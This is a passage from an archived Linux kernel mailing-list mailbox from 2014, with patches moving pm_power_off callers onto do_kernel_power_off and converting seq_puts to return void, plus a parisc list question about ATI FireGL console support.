 void machine_power_off(void)
 {
 	machine_shutdown();
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 #ifdef CONFIG_SMP
 	smp_send_stop();
 #endif
@@ -151,9 +150,6 @@ void machine_power_off(void)
 /* Used by the G5 thermal driver */
 EXPORT_SYMBOL_GPL(machine_power_off);
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL_GPL(pm_power_off);
-
 void machine_halt(void)
 {
 	machine_shutdown();
diff --git a/arch/powerpc/xmon/xmon.c b/arch/powerpc/xmon/xmon.c
index 506d256..8780178 100644
--- a/arch/powerpc/xmon/xmon.c
+++ b/arch/powerpc/xmon/xmon.c
@@ -981,8 +981,7 @@ static void bootcmds(void)
 	else if (cmd == 'h')
 		ppc_md.halt();
 	else if (cmd == 'p')
-		if (pm_power_off)
-			pm_power_off();
+		do_kernel_power_off();
 }
 
 static int cpu_cmd(void)
diff --git a/arch/s390/kernel/setup.c b/arch/s390/kernel/setup.c
index e80d9ff..267e025 100644
--- a/arch/s390/kernel/setup.c
+++ b/arch/s390/kernel/setup.c
@@ -263,13 +263,9 @@ void machine_power_off(void)
 		 */
 		console_unblank();
 	_machine_power_off();
-}
 
-/*
- * Dummy power off function.
- */
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL_GPL(pm_power_off);
+	do_kernel_power_off();
+}
 
 static int __init early_parse_mem(char *p)
 {
diff --git a/arch/score/kernel/process.c b/arch/score/kernel/process.c
index a1519ad3..b76ea67 100644
--- a/arch/score/kernel/process.c
+++ b/arch/score/kernel/process.c
@@ -29,9 +29,6 @@
 #include <linux/pm.h>
 #include <linux/rcupdate.h>
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 /* If or when software machine-restart is implemented, add code here. */
 void machine_restart(char *command) {}
 
@@ -39,7 +36,10 @@ void machine_restart(char *command) {}
 void machine_halt(void) {}
 
 /* If or when software machine-power-off is implemented, add code here. */
-void machine_power_off(void) {}
+void machine_power_off(void)
+{
+	do_kernel_power_off();
+}
 
 void ret_from_fork(void);
 void ret_from_kernel_thread(void);
diff --git a/arch/sh/kernel/reboot.c b/arch/sh/kernel/reboot.c
index 04afe5b..065de12 100644
--- a/arch/sh/kernel/reboot.c
+++ b/arch/sh/kernel/reboot.c
@@ -11,9 +11,6 @@
 #include <asm/tlbflush.h>
 #include <asm/traps.h>
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 #ifdef CONFIG_SUPERH32
 static void watchdog_trigger_immediate(void)
 {
@@ -51,8 +48,7 @@ static void native_machine_shutdown(void)
 
 static void native_machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 }
 
 static void native_machine_halt(void)
diff --git a/arch/sparc/kernel/process_32.c b/arch/sparc/kernel/process_32.c
index 50e7b62..cb8148a 100644
--- a/arch/sparc/kernel/process_32.c
+++ b/arch/sparc/kernel/process_32.c
@@ -48,14 +48,6 @@
  */
 void (*sparc_idle)(void);
 
-/* 
- * Power-off handler instantiation for pm.h compliance
- * This is done via auxio, but could be used as a fallback
- * handler when auxio is not present-- unused for now...
- */
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 /*
  * sysctl - toggle power-off restriction for serial console 
  * systems in machine_power_off()
@@ -112,6 +104,8 @@ void machine_power_off(void)
 		sbus_writeb(power_register, auxio_power_register);
 	}
 
+	do_kernel_power_off();
+
 	machine_halt();
 }
 
diff --git a/arch/sparc/kernel/reboot.c b/arch/sparc/kernel/reboot.c
index eba7d91..3c0bb03 100644
--- a/arch/sparc/kernel/reboot.c
+++ b/arch/sparc/kernel/reboot.c
@@ -16,17 +16,13 @@
  */
 int scons_pwroff = 1;
 
-/* This isn't actually used, it exists merely to satisfy the
- * reference in kernel/sys.c
- */
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 void machine_power_off(void)
 {
 	if (strcmp(of_console_device->type, "serial") || scons_pwroff)
 		prom_halt_power_off();
 
+	do_kernel_power_off();
+
 	prom_halt();
 }
 
diff --git a/arch/tile/kernel/reboot.c b/arch/tile/kernel/reboot.c
index 6c5d2c0..8ff4a7f 100644
--- a/arch/tile/kernel/reboot.c
+++ b/arch/tile/kernel/reboot.c
@@ -36,6 +36,9 @@ void machine_power_off(void)
 {
 	arch_local_irq_disable_all();
 	smp_send_stop();
+
+	do_kernel_power_off();
+
 	hv_power_off();
 }
 
@@ -45,7 +48,3 @@ void machine_restart(char *cmd)
 	smp_send_stop();
 	hv_restart((HV_VirtAddr) "vmlinux", (HV_VirtAddr) cmd);
 }
-
-/* No interesting distinction to be made here. */
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
diff --git a/arch/um/kernel/reboot.c b/arch/um/kernel/reboot.c
index ced8903..a82ef28 100644
--- a/arch/um/kernel/reboot.c
+++ b/arch/um/kernel/reboot.c
@@ -11,8 +11,6 @@
 #include <os.h>
 #include <skas.h>
 
-void (*pm_power_off)(void);
-
 static void kill_off_processes(void)
 {
 	if (proc_mm)
diff --git a/arch/unicore32/kernel/process.c b/arch/unicore32/kernel/process.c
index b008e99..9490dd5 100644
--- a/arch/unicore32/kernel/process.c
+++ b/arch/unicore32/kernel/process.c
@@ -56,16 +56,9 @@ void machine_halt(void)
 	gpio_set_value(GPO_SOFT_OFF, 0);
 }
 
-/*
- * Function pointers to optional machine specific functions
- */
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	machine_halt();
 }
 
diff --git a/arch/x86/kernel/reboot.c b/arch/x86/kernel/reboot.c
index 17962e6..5c09e28 100644
--- a/arch/x86/kernel/reboot.c
+++ b/arch/x86/kernel/reboot.c
@@ -30,12 +30,6 @@
 #include <asm/x86_init.h>
 #include <asm/efi.h>
 
-/*
- * Power off function, if any
- */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 static const struct desc_ptr no_idt = {};
 
 /*
@@ -647,11 +641,12 @@ static void native_machine_halt(void)
 
 static void native_machine_power_off(void)
 {
-	if (pm_power_off) {
+	if (have_kernel_power_off()) {
 		if (!reboot_force)
 			machine_shutdown();
-		pm_power_off();
+		do_kernel_power_off();
 	}
+
 	/* A fallback in case there is no PM info available */
 	tboot_shutdown(TB_SHUTDOWN_HALT);
 }
diff --git a/arch/x86/xen/enlighten.c b/arch/x86/xen/enlighten.c
index fac5e4f..bc08998 100644
--- a/arch/x86/xen/enlighten.c
+++ b/arch/x86/xen/enlighten.c
@@ -1320,8 +1320,7 @@ static void xen_machine_halt(void)
 
 static void xen_machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	xen_reboot(SHUTDOWN_poweroff);
 }
 
diff --git a/arch/xtensa/kernel/process.c b/arch/xtensa/kernel/process.c
index 1c85323..c487296 100644
--- a/arch/xtensa/kernel/process.c
+++ b/arch/xtensa/kernel/process.c
@@ -49,10 +49,6 @@ extern void ret_from_kernel_thread(void);
 
 struct task_struct *current_set[NR_CPUS] = {&init_task, };
 
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
-
 #if XTENSA_HAVE_COPROCESSORS
 
 void coprocessor_release_all(struct thread_info *ti)
diff --git a/drivers/parisc/power.c b/drivers/parisc/power.c
index ef31b77..f10cf92 100644
--- a/drivers/parisc/power.c
+++ b/drivers/parisc/power.c
@@ -95,8 +95,7 @@ static void process_shutdown(void)
 		/* send kill signal */
 		if (kill_cad_pid(SIGINT, 1)) {
 			/* just in case killing init process failed */
-			if (pm_power_off)
-				pm_power_off();
+			kernel_power_off();
 		}
 	}
 }
diff --git a/kernel/power/power_off_handler.c b/kernel/power/power_off_handler.c
index c19e72b..d80a337 100644
--- a/kernel/power/power_off_handler.c
+++ b/kernel/power/power_off_handler.c
@@ -23,6 +23,12 @@
 #include <linux/types.h>
 
 /*
+ * If set, calling this function will power off the system immediately.
+ */
+void (*pm_power_off)(void);
+EXPORT_SYMBOL(pm_power_off);
+
+/*
  * List of handlers for kernel code which wants to be called
  * to power off the system.
  */
@@ -291,6 +297,9 @@ void do_kernel_power_off(void)
 	 * that risk.
 	 */
 
+	if (pm_power_off)
+		pm_power_off();
+
 	p = rcu_dereference_raw(power_off_handler_list);
 	while (p) {
 		next_p = rcu_dereference_raw(p->next);
diff --git a/kernel/reboot.c b/kernel/reboot.c
index 5925f5a..d87d921 100644
--- a/kernel/reboot.c
+++ b/kernel/reboot.c
@@ -306,9 +306,9 @@ SYSCALL_DEFINE4(reboot, int, magic1, int, magic2, unsigned int, cmd,
 		return ret;
 
 	/* Instead of trying to make the power_off code look like
-	 * halt when pm_power_off is not set do it the easy way.
+	 * halt when no power-off handler exists do it the easy way.
 	 */
-	if ((cmd == LINUX_REBOOT_CMD_POWER_OFF) && !pm_power_off)
+	if (cmd == LINUX_REBOOT_CMD_POWER_OFF && !have_kernel_power_off())
 		cmd = LINUX_REBOOT_CMD_HALT;
 
 	mutex_lock(&reboot_mutex);
-- 
1.9.1


From - Thu Nov 08 21:10:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex <lausgans@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: STI text console for ATI FireGL cards?
Date: Mon, 10 Nov 2014 11:15:15 +0000 (UTC)
Lines: 29
Approved: news@gmane.org
Message-ID: <loom.20141110T121327-176@post.gmane.org>
References: <5272CAE8.6050108@gmx.de> <20131101000156.GA22568@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1415618419 22033 80.91.229.3 (10 Nov 2014 11:20:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Nov 2014 11:20:19 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 10 12:20:13 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Xnn0x-0001vC-1t
	for glpp-linux-parisc@plane.gmane.org; Mon, 10 Nov 2014 12:20:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752504AbaKJLUG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Nov 2014 06:20:06 -0500
Original-Received: from plane.gmane.org ([80.91.229.3]:45343 "EHLO plane.gmane.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752512AbaKJLUF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Nov 2014 06:20:05 -0500
Original-Received: from list by plane.gmane.org with local (Exim 4.69)
	(envelope-from <glpp-linux-parisc@m.gmane.org>)
	id 1Xnn0t-0001yn-7d
	for linux-parisc@vger.kernel.org; Mon, 10 Nov 2014 12:20:03 +0100
Original-Received: from relay.gero.in ([77.37.212.15])
        by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <linux-parisc@vger.kernel.org>; Mon, 10 Nov 2014 12:20:03 +0100
Original-Received: from lausgans by relay.gero.in with local (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <linux-parisc@vger.kernel.org>; Mon, 10 Nov 2014 12:20:03 +0100
X-Injected-Via-Gmane: http://gmane.org/
Original-Lines: 23
Original-X-Complaints-To: usenet@ger.gmane.org
X-Gmane-NNTP-Posting-Host: sea.gmane.org
User-Agent: Loom/3.14 (http://gmane.org/)
X-Loom-IP: 77.37.212.15 (Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6201
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6201>

Thomas Bogendoerfer <tsbogend <at> alpha.franken.de> writes:

> 
> On Thu, Oct 31, 2013 at 10:26:00PM +0100, Helge Deller wrote:
> > Does the ATI FireGL cards (in e.g. a C8000) have a STI ROM?
> 
> I wonder how many times I need to write that. They don't have STI ROMs.
> The C8000 PDC must have an x86 emulator, which is used for POSTing
> VGA cards. 
> 
> I've successfully installed normal Nvidia and AMD cards (both PCI and
> AGP cards). For me radeonfb is working as console, but without any
> acceleration (ring test failure problem). 

Had you tried to use Nvidia or other non-AMD card as framebuffer? How about 
Xorg?
Thanks

> 
> Thomas.
> 



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.comp.security.firewalls.netfilter.devel,gmane.linux.kernel.openipmi,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.file-systems,gmane.linux.usb.general,gmane.linux.network
Subject: [PATCH -next 0/2] seq: Convert seq_puts and seq_putc to return void
Date: Mon, 10 Nov 2014 10:58:55 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <cover.1415645476.git.joe@perches.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1415645964 29929 80.91.229.3 (10 Nov 2014 18:59:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Nov 2014 18:59:24 +0000 (UTC)
Cc: Petr Mladek <pmladek@suse.cz>, linux-usb@vger.kernel.org,
	netdev@vger.kernel.org
To: Steven Rostedt <rostedt@goodmis.org>,
	openipmi-developer@lists.sourceforge.net,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-watchdog@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	netfilter-devel@vger.kernel.org, coreteam@netfilter.org
Original-X-From: netfilter-devel-owner@vger.kernel.org Mon Nov 10 19:59:16 2014
Return-path: <netfilter-devel-owner@vger.kernel.org>
Envelope-to: gnnd-netfilter-devel@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <netfilter-devel-owner@vger.kernel.org>)
	id 1XnuBG-0007VD-Lz
	for gnnd-netfilter-devel@plane.gmane.org; Mon, 10 Nov 2014 19:59:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751567AbaKJS7N (ORCPT
	<rfc822;gnnd-netfilter-devel@m.gmane.org>);
	Mon, 10 Nov 2014 13:59:13 -0500
Original-Received: from smtprelay0027.hostedemail.com ([216.40.44.27]:59535 "EHLO
	smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1751018AbaKJS7K (ORCPT
	<rfc822;netfilter-devel@vger.kernel.org>);
	Mon, 10 Nov 2014 13:59:10 -0500
Original-Received: from filter.hostedemail.com (unknown [216.40.38.60])
	by smtprelay08.hostedemail.com (Postfix) with ESMTP id 8C70829DE06;
	Mon, 10 Nov 2014 18:59:07 +0000 (UTC)
X-Session-Marker: 6A6F6540706572636865732E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,joe@perches.com,:::::::::::::::::::::,RULES_HIT:41:69:355:379:541:973:988:989:1260:1345:1437:1534:1540:1711:1714:1730:1747:1777:1792:1801:2393:2559:2562:3138:3139:3140:3141:3142:3350:3867:3868:4605:5007:6261:9038:10004:10848:11026:11658:11914:12043:12048:12438:12517:12519:13161:13229:13311:13357:14096:14394:21080,0,RBL:none,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:fn,MSBL:0,DNSBL:none,Custom_rules:0:0:0
X-HE-Tag: dogs55_898af7151ae0f
X-Filterd-Recvd-Size: 1774
Original-Received: from joe-laptop.perches.com (pool-71-103-235-196.lsanca.fios.verizon.net [71.103.235.196])
	(Authenticated sender: joe@perches.com)
	by omf07.hostedemail.com (Postfix) with ESMTPA;
	Mon, 10 Nov 2014 18:59:05 +0000 (UTC)
X-Mailer: git-send-email 2.1.2
Original-Sender: netfilter-devel-owner@vger.kernel.org
Precedence: bulk
List-ID: <netfilter-devel.vger.kernel.org>
X-Mailing-List: netfilter-devel@vger.kernel.org
Xref: news.gmane.org gmane.comp.security.firewalls.netfilter.devel:55030 gmane.linux.kernel.openipmi:2560 gmane.linux.ports.parisc:6202 gmane.linux.kernel:1825617 gmane.linux.file-systems:90014 gmane.linux.usb.general:117939 gmane.linux.network:337718
Archived-At: <http://permalink.gmane.org/gmane.comp.security.firewalls.netfilter.devel/55030>

These are error prone, so return void adn use seq_has_overflowed instead

Joe Perches (2):
  seq_puts: Convert to return void and convert uses too.
  seq_putc: Convert to return void and convert uses too.

 drivers/char/ipmi/ipmi_msghandler.c                |  4 +-
 drivers/parisc/ccio-dma.c                          |  7 +-
 drivers/regulator/dbx500-prcmu.c                   | 21 ++----
 drivers/usb/gadget/udc/goku_udc.c                  | 81 +++++++++++-----------
 drivers/watchdog/bcm_kona_wdt.c                    | 43 +++++++-----
 fs/seq_file.c                                      | 26 +++----
 include/linux/seq_file.h                           |  4 +-
 ipc/util.c                                         |  6 +-
 .../netfilter/nf_conntrack_l3proto_ipv4_compat.c   |  4 +-
 net/netfilter/nf_conntrack_expect.c                |  4 +-
 10 files changed, 105 insertions(+), 95 deletions(-)

-- 
2.1.2

--
To unsubscribe from this list: send the line "unsubscribe netfilter-devel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe-6d6DIl74uiNBDgjK7y7TUQ@public.gmane.org>
Newsgroups: gmane.linux.usb.general,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.file-systems
Subject: [PATCH -next 1/2] seq_puts: Convert to return void and convert uses too.
Date: Mon, 10 Nov 2014 10:58:56 -0800
Lines: 315
Approved: news@gmane.org
Message-ID: <c8249a5c6504275a0e22704dda83b34002a89eac.1415645476.git.joe@perches.com>
References: <cover.1415645476.git.joe@perches.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1415645977 30052 80.91.229.3 (10 Nov 2014 18:59:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Nov 2014 18:59:37 +0000 (UTC)
Cc: Petr Mladek <pmladek-AlSwsSmVLrQ@public.gmane.org>, Felipe Balbi <balbi-l0cyMroinI0@public.gmane.org>,
	Greg Kroah-Hartman <gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-watchdog-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-fsdevel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Steven Rostedt <rostedt-nx8X9YLhiw1AfugRpC6u6w@public.gmane.org>,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
	Liam Girdwood <lgirdwood-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Mark Brown <broonie-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
	Wim Van Sebroeck <wim-IQzOog9fTRqzQB+pC5nmwQ@public.gmane.org>,
	Alexander Viro <viro-RmSDqhL/yNMiFSDQTTA3OLVCufUGDwFn@public.gmane.org>
Original-X-From: linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon Nov 10 19:59:29 2014
Return-path: <linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glug-linux-usb-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XnuBR-0007jA-87
	for glug-linux-usb-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Mon, 10 Nov 2014 19:59:25 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1751667AbaKJS7V (ORCPT <rfc822;glug-linux-usb@m.gmane.org>);
	Mon, 10 Nov 2014 13:59:21 -0500
Original-Received: from smtprelay0045.hostedemail.com ([216.40.44.45]:51569 "EHLO
	smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1751590AbaKJS7S (ORCPT
	<rfc822;linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Mon, 10 Nov 2014 13:59:18 -0500
Original-Received: from filter.hostedemail.com (unknown [216.40.38.60])
	by smtprelay05.hostedemail.com (Postfix) with ESMTP id CE5C72691CE;
	Mon, 10 Nov 2014 18:59:16 +0000 (UTC)
X-Session-Marker: 6A6F6540706572636865732E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,joe-6d6DIl74uiNBDgjK7y7TUQ@public.gmane.org,:::::::::::::::::::::::::::::,RULES_HIT:1:41:69:355:379:541:800:960:968:973:988:989:1260:1345:1359:1437:1605:1730:1747:1777:1792:1801:2194:2199:2393:2559:2562:2636:2693:2896:2898:3138:3139:3140:3141:3142:3308:3865:3866:3870:3871:3872:4321:4605:5007:6119:6261:7875:7904:8603:9038:9592:10004:10848:11026:11473:11657:11658:11914:12043:12048:12291:12296:12438:12517:12519:12555:12681:12683:13972:14096:14110:14394:21080,0,RBL:none,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:fn,MSBL:0,DNSBL:none,Custom_rules:0:0:0
X-HE-Tag: act08_8a721205a321e
X-Filterd-Recvd-Size: 11202
Original-Received: from joe-laptop.perches.com (pool-71-103-235-196.lsanca.fios.verizon.net [71.103.235.196])
	(Authenticated sender: joe-6d6DIl74uiNBDgjK7y7TUQ@public.gmane.org)
	by omf07.hostedemail.com (Postfix) with ESMTPA;
	Mon, 10 Nov 2014 18:59:11 +0000 (UTC)
X-Mailer: git-send-email 2.1.2
In-Reply-To: <cover.1415645476.git.joe-6d6DIl74uiNBDgjK7y7TUQ@public.gmane.org>
Original-Sender: linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-usb.vger.kernel.org>
X-Mailing-List: linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.usb.general:117940 gmane.linux.ports.parisc:6203 gmane.linux.kernel:1825618 gmane.linux.file-systems:90015
Archived-At: <http://permalink.gmane.org/gmane.linux.usb.general/117940>

Using the return value of seq_puts is error-prone, so
make it return void instead.

Use seq_has_overflowed where appropriate instead of the
old return value.

Signed-off-by: Joe Perches <joe-6d6DIl74uiNBDgjK7y7TUQ@public.gmane.org>
---
 drivers/parisc/ccio-dma.c         |  7 ++--
 drivers/regulator/dbx500-prcmu.c  | 21 ++++------
 drivers/usb/gadget/udc/goku_udc.c | 81 ++++++++++++++++++++-------------------
 drivers/watchdog/bcm_kona_wdt.c   | 43 ++++++++++++---------
 fs/seq_file.c                     | 15 ++++----
 include/linux/seq_file.h          |  2 +-
 ipc/util.c                        |  6 ++-
 7 files changed, 89 insertions(+), 86 deletions(-)

diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 8b490d7..c40cc98 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -1101,7 +1101,6 @@ static const struct file_operations ccio_proc_info_fops = {
 
 static int ccio_proc_bitmap_info(struct seq_file *m, void *p)
 {
-	int len = 0;
 	struct ioc *ioc = ioc_list;
 
 	while (ioc != NULL) {
@@ -1110,11 +1109,11 @@ static int ccio_proc_bitmap_info(struct seq_file *m, void *p)
 
 		for (j = 0; j < (ioc->res_size / sizeof(u32)); j++) {
 			if ((j & 7) == 0)
-				len += seq_puts(m, "\n   ");
-			len += seq_printf(m, "%08x", *res_ptr);
+				seq_puts(m, "\n   ");
+			seq_printf(m, "%08x", *res_ptr);
 			res_ptr++;
 		}
-		len += seq_puts(m, "\n\n");
+		seq_puts(m, "\n\n");
 		ioc = ioc->next;
 		break; /* XXX - remove me */
 	}
diff --git a/drivers/regulator/dbx500-prcmu.c b/drivers/regulator/dbx500-prcmu.c
index 2d16b9f..b778ca9 100644
--- a/drivers/regulator/dbx500-prcmu.c
+++ b/drivers/regulator/dbx500-prcmu.c
@@ -129,14 +129,8 @@ static int ux500_regulator_status_print(struct seq_file *s, void *p)
 	int i;
 
 	/* print dump header */
-	err = seq_puts(s, "ux500-regulator status:\n");
-	if (err < 0)
-		dev_err(dev, "seq_puts overflow\n");
-
-	err = seq_printf(s, "%31s : %8s : %8s\n", "current",
-		"before", "after");
-	if (err < 0)
-		dev_err(dev, "seq_printf overflow\n");
+	seq_puts(s, "ux500-regulator status:\n");
+	seq_printf(s, "%31s : %8s : %8s\n", "current", "before", "after");
 
 	for (i = 0; i < rdebug.num_regulators; i++) {
 		struct dbx500_regulator_info *info;
@@ -144,12 +138,11 @@ static int ux500_regulator_status_print(struct seq_file *s, void *p)
 		info = &rdebug.regulator_array[i];
 
 		/* print status */
-		err = seq_printf(s, "%20s : %8s : %8s : %8s\n", info->desc.name,
-			info->is_enabled ? "enabled" : "disabled",
-			rdebug.state_before_suspend[i] ? "enabled" : "disabled",
-			rdebug.state_after_suspend[i] ? "enabled" : "disabled");
-		if (err < 0)
-			dev_err(dev, "seq_printf overflow\n");
+		seq_printf(s, "%20s : %8s : %8s : %8s\n",
+			   info->desc.name,
+			   info->is_enabled ? "enabled" : "disabled",
+			   rdebug.state_before_suspend[i] ? "enabled" : "disabled",
+			   rdebug.state_after_suspend[i] ? "enabled" : "disabled");
 	}
 
 	return 0;
diff --git a/drivers/usb/gadget/udc/goku_udc.c b/drivers/usb/gadget/udc/goku_udc.c
index 5b9176e..c16b4d9 100644
--- a/drivers/usb/gadget/udc/goku_udc.c
+++ b/drivers/usb/gadget/udc/goku_udc.c
@@ -1135,44 +1135,47 @@ static int udc_proc_read(struct seq_file *m, void *v)
 			continue;
 
 		tmp = readl(ep->reg_status);
-		if (seq_printf(m,
-			"%s %s max %u %s, irqs %lu, "
-			"status %02x (%s) " FOURBITS "\n",
-			ep->ep.name,
-			ep->is_in ? "in" : "out",
-			ep->ep.maxpacket,
-			ep->dma ? "dma" : "pio",
-			ep->irqs,
-			tmp, ({ char *s;
-			switch (tmp & EPxSTATUS_EP_MASK) {
-			case EPxSTATUS_EP_READY:
-				s = "ready"; break;
-			case EPxSTATUS_EP_DATAIN:
-				s = "packet"; break;
-			case EPxSTATUS_EP_FULL:
-				s = "full"; break;
-			case EPxSTATUS_EP_TX_ERR:	// host will retry
-				s = "tx_err"; break;
-			case EPxSTATUS_EP_RX_ERR:
-				s = "rx_err"; break;
-			case EPxSTATUS_EP_BUSY:		/* ep0 only */
-				s = "busy"; break;
-			case EPxSTATUS_EP_STALL:
-				s = "stall"; break;
-			case EPxSTATUS_EP_INVALID:	// these "can't happen"
-				s = "invalid"; break;
-			default:
-				s = "?"; break;
-			} s; }),
-			(tmp & EPxSTATUS_TOGGLE) ? "data1" : "data0",
-			(tmp & EPxSTATUS_SUSPEND) ? " suspend" : "",
-			(tmp & EPxSTATUS_FIFO_DISABLE) ? " disable" : "",
-			(tmp & EPxSTATUS_STAGE_ERROR) ? " ep0stat" : ""
-			) < 0)
+		seq_printf(m, "%s %s max %u %s, irqs %lu, status %02x (%s) " FOURBITS "\n",
+			   ep->ep.name,
+			   ep->is_in ? "in" : "out",
+			   ep->ep.maxpacket,
+			   ep->dma ? "dma" : "pio",
+			   ep->irqs,
+			   tmp,
+			   ({
+				char *s;
+				switch (tmp & EPxSTATUS_EP_MASK) {
+				case EPxSTATUS_EP_READY:
+					s = "ready"; break;
+				case EPxSTATUS_EP_DATAIN:
+					s = "packet"; break;
+				case EPxSTATUS_EP_FULL:
+					s = "full"; break;
+				case EPxSTATUS_EP_TX_ERR:  /* host will retry */
+					s = "tx_err"; break;
+				case EPxSTATUS_EP_RX_ERR:
+					s = "rx_err"; break;
+				case EPxSTATUS_EP_BUSY:    /* ep0 only */
+					s = "busy"; break;
+				case EPxSTATUS_EP_STALL:
+					s = "stall"; break;
+				case EPxSTATUS_EP_INVALID: /* "can't happen" */
+					s = "invalid"; break;
+				default:
+					s = "?"; break;
+				}
+				s;
+			   }),
+			   (tmp & EPxSTATUS_TOGGLE) ? "data1" : "data0",
